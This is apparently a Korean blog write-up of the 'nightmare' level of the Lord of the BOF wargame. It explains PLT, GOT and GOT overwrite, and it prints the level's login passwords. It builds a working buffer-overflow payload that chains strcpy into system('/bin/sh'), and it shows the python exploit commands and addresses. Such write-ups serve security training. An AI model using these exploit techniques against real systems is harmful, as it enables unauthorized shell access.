반응형

login as : succubus
password : here to stay


문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

 

1. 커맨드라인 인자가 필요하다.
2. RET 부분에 덮어쓰는 값이 strcpy() 함수의 주소여야 한다.
3. buffer[40]+48 부분 즉 RET 부분의 다음 부분 4byte는 'A'로 초기화 된다.

 

RET 부분을 strcpy() 함수의 주소로 덮어쓰면 그 다음 인자는 [strcpy() 함수의 RET] [dest] [origin] 이여야 하는데,
strcpy() 함수의 RET 부분이 'AAAA'로 초기화 된다.

아마도 RET 부분을 조작하여 연속적으로 반환하는 기법을 막으려고 한 것 같다.

 

문제 소스 코드에 있는 힌트를 참고하면 PLT 라는 게 있다.


PLT & GOT

[plt]

외부 library 함수를 사용할 수 있도록 연결해주는 table이다.
plt를 통해 다른 라이브러리에 있는 함수를 호출해 사용할 수 있다.

[got]

plt가 참조하는 table이다.
plt에서 구한 함수의 절대 주소가 저장되어 있다.

함수를 호출할 때 최초로 호출하는 것이라면 해당 함수의 주소를 알아오는 과정이 필요하고, 알아낸 주소를 기록해둘 곳이 필요한데, 여기서 함수의 주소를 알아내는데 필요한 코드의 일부분이 들어있는게 plt이고, 알아낸 주소를 기록해두는 곳이 GOT이다.

 

PLT와 GOT 그리고 dynamic link

plt와 GOT를 이해하기 위해서는 링커를 알아야 하고, 링커가 링크를 하는 방법에는 static과 dynamic이 있는데, 이 중에서도 Dynamic과 연관이 깊다.

링크는 라이브러리 같은 필요한 오브젝트 파일들을 연결시키는 작업을 말하는데

static 방식은 실행 파일 안에 모든 코드가 포함되게 하는 방식으로, 라이브러리 연동 과정이 따로 필요하지 않고, 한 번 생성한 파일에 대해서 필요한 라이브러리를 따로 관리하지 않아도 된다는 점으로 인해 편하지만 파일의 크기가 커지고, 같은 내용을 매 번 메모리에 매핑 시켜야 한다는 단점이있다.

반면에 dynamic 방식은 공유 라이브러리를 사용하는 방식으로, 라이브러리르 하나의 메모리 공간에 매핑해두고 여러 프로그램에서 공유하여 사용하는데, 실행 파일 안에 라이브러리 코드 전체가 들어가진 않으므로 비교젹 크기가 훨씬 작고, 실행시에도 상대적으로 적은 메모리를 차지하며, 관리가 쉽다는 장점이 있지만, 실행 파일이 라이브러리에 의존해야 한다는 점으로 인해 필요한 라이브러리가 없으면 실행할 수 없다는 단점이 있다.

그리고 static 방식과 dynamic 방식 중 dynamic 방식을 사용하여 컴파일 했을 때 PLT와 GOT를 사용하게 된다.

이유는 static 방식은 라이브러리 내용 전체가 실행 파일 안에 있기 때문에 함수의 주소를 알아내는 과정이 필요하지 않지만, dynamic 방식은 라이브러리의 내용이 실행 파일과 분리되어 있기 때문에 함수의 주소를 알아오는 과정이 필요하기 때문이다.

 

전체적인 PLT와 GOT의 동작 원리

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


바이너리가 실행되면 ASLR에 의해 라이브러리가 임의의 주소에 매핑이 되고, 이 상태에서 라이브러리 내의 함수를 호출하면 라이브러리의 symbol들 중에서 호출하는 함수의 이름과 똑같은 symbol을 찾고, 해당 함수의 정의를 발견하면 그 주소로 실행 흐름을 옮기게 된다.

이 과정을 runtime resolve 라고 하는데, 만약 최초로 함수를 호출하는 것이라면 위와 같이 runtime resolve 과정을 거쳐 알아낸 주소를 GOT에 기록해둔다.

그리고 같은 함수를 또 호출하게 될 때는 GOT에 기록해뒀기 때문에 runtime resolve 과정없이 바로 해당 함수를 호출한다.

 

https://bnzn2426.tistory.com/27


다시 말해 최초로 함수를 호출할 때는 runtime resolve 과정을 거쳐서 GOT에 기록하고, 두 번째 호출부터는 runtime resolve 과정을 거치지 않고 GOT에 기록해둔 주소로 바로 실행 흐름을 옮긴다.

결론적으로 최초로 함수 호출을 하면 PLT로 이동하고, PLT에서는 GOT를 참조하는데, 이때 GOT에 해당 함수의 주소가 없다면, PLT로 다시 돌아가서 _dl_runtime_resolve를 수행한 후 GOT에 실제 주소를 저장하고 해당 함수 주소로 실행 흐름을 옮긴다.

(PLT로 다시 돌아가는 이유는 아마 호출하려는 함수를 찾기 위한 기본적인 정보가 PLT에 포함되어 있기 때문이다.)

그리고 두 번째 호출부터는 PLT로 이동하고, PLT에서는 GOT를 참조하는데, 이때 GOT에는 해당 함수의 주소가 있기 때문에 바로 해당 함수 주소로 실행 흐름을 옮긴다.

(이해가 되지 않는다면,  이 글 맨 아래에 줄여서 설명해둔 plt&got 핵심 설명 부분을 참고한다.)

plt & got 개념 및 관계
https://0secusik0.tistory.com/67

왜 plt와 got가 필요한가
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

level17 문제의 소스코드 일부분과 level18 문제의 소스코드 일부분 비교

// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0)
{
	printf("You must fall in love with DO\n");
	exit(0);
}
// check address
addr = (char *)&strcpy;
if(memcmp(argv[1]+44, &addr, 4) != 0)
{
	printf("You must fall in love with strcpy()\n");
	exit(0);
}

 

위의 코드들을 보면 비교하는 함수만 다를 뿐 완전 동일한 코드임을 알 수 있다.

 

하지만 차이점이라고 한다면, 첫 번째 코드에서 DO() 함수는 plt와 got를 이용하지 않고, 두 번째 코드에서 strcpy() 함수는 plt와 got를 이용한다는 것인데, 그 이유는 DO() 함수는 코드에 포함이 되어 있고, strcpy() 함수는 라이브러리에 있기 때문이다.


PLT & GOT 확인

objdump -h ./nightmare | grep -A1 "\ .plt\ "

objdump -h ./nightmare | grep -A1 "\ .got\ "

 

바이너리 파일에서 plt와 got 영역을 보면 plt는 READONLY인 반면에, got는 READONLY가 아닌 것을 확인할 수 있는데, 이러한 점 때문에 GOT overwrite 기법이라는 게 있다.

 

objdump -d -j .plt ./nightmare

 

objdump를 이용해 plt 영역에 있는 값들을 보면 위와 같다.

 

objdump -R ./nightmare

 

이어서 objdump를 이용해 got 영역을 위와 같은데 이전에 plt에 있는 값들일아 비교해서 보면 plt에서 점프하는 주소들이 got에 다 저장이 되어있다.


GOT overwrite

 

got overwrite는 말 그대로 GOT에 있는 주소를 overwrite 하는 것이다.

 

예를 들어 GOT에 저장되어 있는 printf() 함수의 주소를 system() 함수의 주소로 변조하면

 

변조된 후 printf() 함수를 호출했을 때 system() 함수가 호출되는 것이다.


dummy 값 확인

 

지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.


공격

 

위에서 GOT overwrite 기법이 언급됐는데, GOT overwrite 기법은 변조된 이후 변조당하기 전의 함수가 한 번 더 호출되어야 하므로 payload를 구성함에 있어서 살짝 귀찮음이 있다.

 

하지만 GOT overwrite 기법처럼 뭔가를 덮어쓴다는 방식으로 문제를 풀면 되는데

 

main 함수가 끝나면 buffer[40]+48 주소인 strcpy() 함수의 RET 부분은 "AAAA"로 채워진 상태로 strcpy() 함수로 반환된다.

 

하지만 strcpy() 함수는 특정 주소에 있는값을 특정 주소에 복사하는 함수이므로 이를 이용해 GOT에 있는 함수를 변조하여 해당 함수를 재호출해 쉘을 딸 필요없이 strcpy() 함수의 RET 부분에 공유 라이브러리 내의 system() 함수의 주소를 입력하면 된다.

 

#include <string.h>
char *strcpy(char *string1, const char *string2);

 

여기서 주의할 점은 strcpy() 함수에 넘길 인자는 문자열이 들어있는 주소이므로 system() 함수의 주소를 바로 인자로 주면 안되고, 스택에 담은 후 해당 스택의 주소를 인자로 줘야 한다는 점이다.

 

[strcpy() 함수의 plt 주소] + ["AAAA"] + [strcpy() 함수의 인자1] + [strcpy() 함수의 인자2] + [system() 함수의 주소] + [system() 함수의 RET 부분] + ["/bin/sh" 문자열의 주소]

 

payload 구성은 위와 같을 것인데, strcpy() 함수의 인자 1과 strcpy() 함수의 인자 2는 core 파일을 생성하여 알아내야 한다.

 

참고)

"AAAA" 부분은 strcpy() 함수의 RET 부분이므로 당연히 "0x41414141" 주소로는 반환할 수 없기 때문에 segmentation 에러가 발생한다.

이는 core 파일을 생성해서 x/40x $esp-4로 보면 명확하게 확인할 수 있다.

 

ldd nightmare

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh

 

먼저 공유 라이브러리에서 system() 함수와 "/bin/sh" 문자열의 주소를 알아와야 하는데

 

위의 명령들을 이용해 system() 함수의 주소 0x40058ae0(0x40018000 + 0x40ae0)과 "/bin/sh"문자열의 주소 0x400fbff9(0x40018000 + 0xe3ff9)를 알아낸다.

 

cp nightmare nightmare2

./nightmare2 `python -c 'print "a" * 44 + "\x10\x84\x04\x08" + "AAAA" + "bbbb" + "cccc" + "\xe0\x8a\x05\x40" + "dddd" + "\xf9\xbf\x0f\x40"'`

gdb -q -c core

x/40x $esp-4

 

알아낸 정보들로 test payload를 구성해 core 파일을 생성한 후 분석하여 strcpy() 함수의 RET 부분과 system() 함수의 주소가 있는 스택 주소를 알아낸다.

 

strcpy() 함수의 RET 부분은 0xbffffc80이고, system() 함수의 주소가 있는 부분의 스택 주소는 0xbffffc8c이다.

 

./nightmare `python -c 'print "a" * 44 + "\x10\x84\x04\x08" + "AAAA" + "\x80\xfc\xff\xbf" + "\x8c\xfc\xff\xbf" + "\xe0\x8a\x05\x40" + "dddd" + "\xf9\xbf\x0f\x40"'`

 

수정한 payload로 nightmare를 실행하면 nightmare의 password인 beg for me를 얻을 수 있다.

 

참고)

strcpy() 함수의 RET 부분의 값을 system() 함수의 주소로 덮으면 결과적으로 'AAAA'로 채워져 있던 strcpy() 함수의 RET 부분이 RET 부분부터하여 그 뒤로 \xe0\x8a\x05\x40\x64\x6\x64\x64~~로 채워질 것이고, RET 부분의 4byte 값은 system() 함수의 주소인 0x40058AE0이므로 strcpy() 함수가 종료되고 system() 함수로 반환될 것이다.

 

참고)

이번 문제에서는 buffer[40]의 공간을 초기화하지 않으므로 buffer[40]의 공간에 system() 함수의 주소부터 system() 함수의 RET와 "/bin/sh" 문자열의 주소를 넣고 나머지 공간을 dummy 값으로 채운 다음 strcpy() 함수의 RET 부분을 buffer[40]의 스택 주소로 변조해도 된다.


 

다른 방식으로는 리눅스에서 main() 함수가 종료될 때 소멸자 역할을 하는 함수인  __DTOR_END__를 이용하려고 했지만 이는 strcpy() 함수가 먼저 호출되고 main() 함수가 종료되어야 하므로 순서가 맞지 않아 적용시키지 못했다.

 

또 다른 방식으로는 GOT overwrite 기법을 적용하여

main 함수가 끝나고 strcpy() 함수로 반환된 후 "AAAA"로 초기화 되어 있는 strcpy() 함수의 RET 부분에 strcpy() 함수의 주소를 넣어 또 strcpy() 함수로 반환하도록 한 후 strcpy() 함수의 주소에 system() 함수의 주소를 넣고, 다시 한 번 strcpy() 함수를 넣는 방식으로 하려고 했지만 아직 시도는 못해봤다.


plt & got 핵심 설명

plt와 got는 정적 라이브러리일 때는 상관없고, 동적 라이브러리일 때 쓰이는 것이다.

 

기본적으로 컴파일할 때는 동적 라이브러리 방식으로 컴파일 된다.

 

plt : 외부 함수를 연결해주는 테이블이다. 
plt를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있는데
plt도 테이블이기 때문에 어떠한 정보들이 저장되어 있는데, 이 정보들은 GOT 테이블 내의 주소이다.
GOT : PLT가 참조하는 테이블로, 실제 함수들의 주소가 들어있다.

 

dynamic link 방식으로 컴파일된 프로그램에서 함수를 호출하게 되면 최초로 호출하느냐 혹은 이전에 호출한 적이 있느냐에 따라 야간의 차이가 있다.

 

plt를 가장 먼저 참조하고, 이어서 GOT로 점프하는데, GOT에 기록되어 있는 실제 함수 주소가 없기 때문에
PLT로 다시 이동하여 PLT에 있는 정보들과 _dl_runtime_resolve_xsavec 함수를 이용해
_dl_runtime_resolve 과정을 걸쳐 GOT에 실제 주소를 저장한 후 실제 함수 주소로 점프하여 함수가 동작하게 된다.

 

먼저, 어떠한 함수를 최초로 호출하는 거라면 위의 과정을 따른다.

 

어떠한 함수를 최초로 호출할 때 got에는 함수의 실제 주소가 아닌 다른 주소가 있는데, 먼저 got에 적혀있는 해당 주소로 점프하여 명령을 따라 실행하다가 _dl_runtime_resolve_xsavec 함수를 호출하게 되는데, 이 함수가 수행되면서 내부에서 함수의 실제 주소를 구하고 GOT에 저장한다.

 

plt를 가장 먼저 참조하고, plt에서 got로 점프하는데
got에 기록되어 있는 실제 함수 주소(library에 기록되어 있음)룰 호출하여 함수가 동작하게 된다.

 

그리고 어떠한 함수를 이전에 호출한 적이 있고,  해당 함수를 다시 호출할 때는 got에 해당 함수의 실제 주소가 저장되어 있기 때문에 위의 과정을 따른다.

 

GOT Overwrite

PLT에서 GOT를 참조하여 실제 함수 주소로 점프할 때 GOT에 적혀있는 실제 함수 주소 값을 검증하지 않는다.

그렇기 때문에 특정 함수를 처음 호출하여 해당 함수의 실제 주소를 GOT에 저장한 다음 저장된 값을 변조하면 해당 함수를 다시 호출할 때 변조된 값에 해당하는 주소에 있는 코드를 수행하게 될 것이고, 이를 GOT overwrite 기법이라고 한다.


https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

 

https://0secusik0.tistory.com/67

 

plt&got 실제 문제 : https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

반응형

+ Recent posts